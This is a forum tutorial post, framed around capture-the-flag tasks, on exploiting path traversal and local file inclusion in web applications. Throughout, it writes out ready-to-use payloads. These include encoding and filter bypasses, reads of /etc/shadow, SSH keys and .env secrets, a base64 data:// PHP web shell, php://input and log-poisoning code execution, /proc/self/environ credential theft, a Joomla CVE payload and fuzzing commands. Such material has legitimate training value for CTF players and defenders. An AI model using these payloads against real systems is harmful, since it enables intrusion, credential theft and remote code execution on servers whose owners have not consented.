Path traversal and LFI vulnerabilities in CTF: to the flag

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
548
Reaction score
955
Deposit
0$
How is path traversal different from LFI

Confusion between these two classes is classics on the CTF. The difference is fundamental, and the choice of payload depends on it.

Path traversal (bypass of directories) – the ability to go beyond the allowed directory and read an arbitrary file on the server. The application takes user input to build the path without validation. The file is not executed, but is returned as data. Typical script: image upload endpoint ?filename=218.png, where is the replacement on ?filename=../../../etc/passwd gives the contents of the system file.

LFI (Local File Inclusion) – the ability to connect and execute a local file through include() or require() in PHP. Key difference: the content of the file is interpreted as code. This opens the way to RCE – through loging poison, PHP wrappers or filter chains.

How to distinguish in practice: if ?file=../../../etc/passwd outputs the contents of the file as text – before you path traversal. If ?page=../../../var/log/apache2/access.log executes a PHP code that you have previously implemented in the log – this is LFI. According to PayloadsAllTheThings, "File Inclusion will lead to the execution of arbitrary code," while path traversal is limited to reading. On CTF, both vulnerabilities are often found in the same task – first path traversal for exploration, then LFI for operation.
Vulnerable GET parameters: what to look for in CTF-task

The vulnerable parameter is the starting point. In CTF, it usually sits in a GET request, less often in a POST or JSON body. Typical parameters names for verification:

?file=, ?page=, ?template=, ?include= – are found in the vast majority of tasks
?path=, ?doc=, ?folder=, ?style= – less often, but there are
?lang=en – localization parameter, replacement with ?lang=../../etc/passwd often works
?action=, ?content=, ?mod= – can mapp on the file system

In API-endpoints, the parameter hides in JSON: {"filename": "../../../etc/shadow"} or in GraphQL: readFile(path: "../../../../../.env"). According to YesWeHack, path traversal is often hidden in loading and export endpoints — /download?file=report.csv, /api/fetch?name=backup.tar.gz, /preview?template=invoice.html.

Signs of a Vulnerable Parameter in a CTF Task: The value is similar to a file name or path; when substituting index or index.php page changes; when you file a non-existent file, a 404 error or an empty response instead of a standard application page. If you see any of this, dig further.
Bypassing directories: payloads from simple to advanced
Basic traversal and absolute ways

The starting point is two payloads for each suspicious parameter.

The relative path: ?file=../../../etc/passwd – lifting through ../ from the current directory to the file system root. Quantity ../ can bet with a stock: most file systems collapse unnecessary upward transitions at root level. They put ten pieces, and it took three - nothing terrible, it will work.

The absolute way: ?file=/etc/passwd – if the filter checks the presence .., but does not block absolute paths. According to PortSwigger Web Security Academy, this variant is “defeats sanitizers that strip.”. but happily accept absolute paths.” On Windows analogues: ?file=..\..\..\windows\win.ini and ?file=C:\windows\win.ini.
URL-coding and double coding

When Direct ../ cut off by filter - proceed to coding. The main options according to OWASP:
Payload What does When it works
%2e%2e%2f URL-coding ../ The filter checks the literal line ../
%2e%2e/ or ..%2f Partial coding The filter checks the combination .. + /
%252e%252e%252f Double coding The server decodes once, the downstream component is the second
%c0%af Overlong UTF-8 for / Legacy IIS, without strict UTF-8 validation
%ef%bc%8f Fullwidth solidus (U+FF0F) Normalization of NFKC converts in /
..%5c URL-coding \ Windows servers tolerant of backslash

In practice in CTF start with %2e%2e%2f. Didn't work - double coding %252e%252e%252f. This pair covers the vast majority of tacks with coding filtering.
Invested sequences and filter bypass

If the filter is removed ../ from the line once - use the nested sequences. Payload ....// after removal of internal ../ turns into ../. Similar logic to ....\/ with a reverse blind. Payload ..///////..////..//////etc/passwd contains junk tracks that the file system stupidly ignores.

Bypassing the start of the journey: if the validator requires the path to start with /var/www/images, payload ?file=/var/www/images/../../../etc/passwd will pass the string check, but the file system will allow it in /etc/passwd. The filter is pleased, we are too.

Null byte injection (bypassing the extension check): ?file=../../../etc/passwd%00.png – on PHP to version 5.3.4 zero byte %00 cut the string, the assigned extension .png dropped. In modern PHP does not work, but CTF-authors deliberately use old rantime. Double decoding option: %2500 – proxy decodes once, the application decodes in %00.

Path truncation: if the length of the line is limited (in PHP – 4096 bytes), you can add /./ repeatedly after the file name, so that the suffix goes beyond the limit and was dropped.

A real example from the data verified: CVE-2010-1470 – directory traversal in the Web TV component (com_webtv) 1.0 for Joomla! (CWE-22). EPSS 0.1335 (percentile ~96.2%, meaning top 3.8% is likely to be used). Exploit-DB ID: EDB-12166 (author of AntiSecurity, publication date 2010-04-12, is titled "Local File Inclusion"). Payload: index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00. Notably, NVD classifies CVE-2010-1470 as directory traversal (reading arbitrary files), whereas Exploit-DB calls PoC "Local File Inclusion" - in practice, the line is blurred: null byte truncation in include() turns path traversal primitive into an LFI effect with possible code execution. Nuclei template CVE-2010-1470.yaml from the ProjectDiscovery repository is available for automatic verification.
PHP wrappers for LFI operation

PHP wrappers is what distinguishes LFI from a simple path traversal. They allow not just reading files, but manipulating the flow of data at the PHP-rentime level.
php://filter — reading sources in base64

The most frequent wrapper in the CTF. Why it is needed: with ordinary LFI through include() The PHP file is executed – you see the result, not the code. Wrapper php://filter reads the file before execution, encoding in base64.

Payload: ?file=php://filter/convert.base64-encode/resource=index.php. The answer comes in base64 – decode through echo "строка" | base64 -d and get the source code. This is critical: Sources reveal filter logic, shard-skinned passwords, hidden file names, and the path to the flag. Essentially, you open the app from the inside.

Variations: php://filter/read=convert.base64-encode/resource=config.php with a clear indication read=; double coding php://filter/convert.base64-encode|convert.base64-encode/resource=file for bypassing the WAF, which filters a single base64 in response.
From LFI to RCE: data://, php://input and filter chains

Wrapper data:// allows you to transfer PHP code directly to URL: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==. Decoded value — <?php system($_GET['c']); ?>. Requires allow_url_include = On and allow_url_fopen = On in php.ini - in real systems it is rare, but on CTF is found.

Wrapper php://input reads the body of the POST request as a stream. Send POST with body <?php system('cat /flag.txt'); ?> the URL with ?file=php://input – get code execution. Unlike data://, php://input does not require allow_url_include = On, since it is not a URL-wrapper for external resources, and the flow of the query body works even when allow_url_include = Off. Wrapper expect:// executes system commands directly: ?file=expect://id. Requires an established expect module – rare even on CTF.

PHP filter chains (Synactiv technique) is a modern vector of LFI-to-RCE without writing to disk and without allow_url_include. Idea: PHP filter chain convert.iconv.* allows you to generate arbitrary text from an empty stream. Building a chain of dozens of encoding conversions, you can design a valid PHP code – pure conversion magic. Payload looks like a long line of view php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp. For the generation of such chains, there are ready-made tools (look for "php_filter_chain_generator" on GitHub). This vector already appears on the CTF level of medium-hard with increasing frequency.
Reading /proc and loging poisoning: LFI to RCE without wrappers

When PHP wrappers are locked or the app doesn’t run on PHP, there are alternative ways to execute code.

Log poisoning through User-Agent. Essence: implement the PHP code into the web server log, then connect the log via LFI. Step one – send a request with a title User-Agent: <?php system($_GET['cmd']); ?>, this text falls into access.log. Step two – connect the log through ?file=../../../var/log/apache2/access.log&cmd=cat /flag.txt. The server includes a log, the PHP parser sees your code and executes it. Typical paths to logs: /var/log/apache2/access.log (Apache), /var/log/nginx/access.log (Nginx), /var/log/auth.log (SSH – you can send a username with a PHP code when you try to log in.) It's a dirty trick, but it works.

/proc/self is a virtual file system of the process. In Linux /proc/self/ contains information about the current process. Valuable files for CTF:

/proc/self/environ – environment variables. Often contained SECRET_KEY, FLAG, DATABASE_URL. In MITRE ATT&CK it is Credentials In Files (T15552.001)
/proc/self/cmdline – the command line of the process startup. Revealing the path to config
/proc/self/fd/N – file descriptors. Overkill N 0 to 20 can reveal open files, including uploaded through the upload form (useful for the upload chain + LFI)
/proc/self/cwd – symbolic link to the working directory of the process

Combination /proc/self/environ + LFI — Frequent vector: If environment variables contain HTTP headers (in CGI), you can implement PHP code through the header and execute it.
Map of valuable files: directory traversal and what to read

When the circumvention of the directories is confirmed, you need to know where to go. Here is a systematized list by category.

Linux – system files: /etc/passwd – vulnerability confirmation and user list (T1003.008); /etc/shadow – password hashes (requires root, but it is worth checking – not enough); /etc/hostname and /etc/hosts – information about the network; /home/<user>/.ssh/id_rsa – private SSH keys (T1552.004, Private Keys); /home/<user>/.bash_history – the history of commands (often contains passwords in the open form); /root/.ssh/id_rsa and /root/.bash_history The same for root.

Web Application Configurations: .env – environment variables (DB passwords, API keys, JWT secrets); config.php, wp-config.php, settings.py, application.yml – CMS and framework configions; .git/config and .git/HEAD – git-repository metadata (sometimes allow you to recover all the source code through T1213.003, Code Repositories); composer.json, package.json, requirements.txt – dependencies revealing the stack.

Windows: C:\windows\win.ini – confirmation of vulnerability; C:\windows\system32\config\SAM – password hashes (requires privilege); C:\inetpub\wwwroot\web.config – IIS configuration (according to DISA STIG for IIS 10.0, server configuration files are a priority).

Cloud-specific paths (according to YesWeHack): /var/task/index.js – source code AWS Lambda; /proc/self/environ – temporary security (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) with limited TTL; metadata endpoints through the SSRF chain.

In CTF, priority sequence: /etc/passwd (confirmation) → application source code through php://filter → .env or config with flag → /proc/self/environ.
Automation: ffuf and wordlists for path traversal

Handheld overkill payloads work on simple drags. For tasks with non-standard filtration, phasing is needed.

ffuf -u "https://target.com/download?file=FUZZ" \
-w /path/to/lfi-wordlist.txt \
-fc 403,404 -fs 0

Flag -fc filters responses by status code (remove 403 and 404), -fs 0 removes empty answers. All that is left is potentially successful inclusions.

Wordlists: SecLists → Fuzzing/LFI/ with encoding options; PayloadsAllTheThings → File Inclusion/ with wrapper-payloads; preset list Fuzzing - path traversal in Burp Intruder.

Specialized tools: dotdotpwn – fuzzer for directory traversal, goes overboard combinations and moist depth; LFISuiteLFISuite is an automatic LFI exploiter with reverse shell support; LFImap – LFI detection and operation of LFI with wrapper support. On CTFs with hard timers, it’s often faster to hold 15 verified payloads and drive your hands in the Burp Repeater than adjusting the automation. But for tashkas with non-standard ffuf filters with custom wordlist saves tens of minutes.
Step-by-Step Methodology for Web CTF Task

When you see a web-task with suspected path traversal or local inclusion file - we work according to the algorithm.

Step 1: Reconnaissance of parameters. Find all GET/POST options with file names or paths. Check HTML source – pathways to resources (<img src="/loadImage?filename=...") reveal the structure of the directories and the basic path.

Step 2: Basic check. Substitute ../../../etc/passwd and /etc/passwd. If any of them returned the contents of the file - the vulnerability is confirmed, proceed to step 5.

Step 3: Bypassing the filters. If the basic payloads did not work, try it consistently: URL coding %2e%2e%2f, double coding %252e%252e%252f, nested sequences ....//, adding a basic path /var/www/html/../../../etc/passwd, null byte %00 (If you suspect an old PHP).

Step 4: PHP wrappers. If the filter blocks ../, but php:// not filtered – use php://filter/convert.base64-encode/resource=index.php for reading the source. Sources will show the exact logic of the filter - after that, the bypass becomes trivial.

Step 5: Defining the goal. Do I need an RCE to get the flag? If the flag is in the file, read it directly. If the flag is generated dynamically, move on to escalation: log poisoning, data://, php://input, filter chains.
 
Top Bottom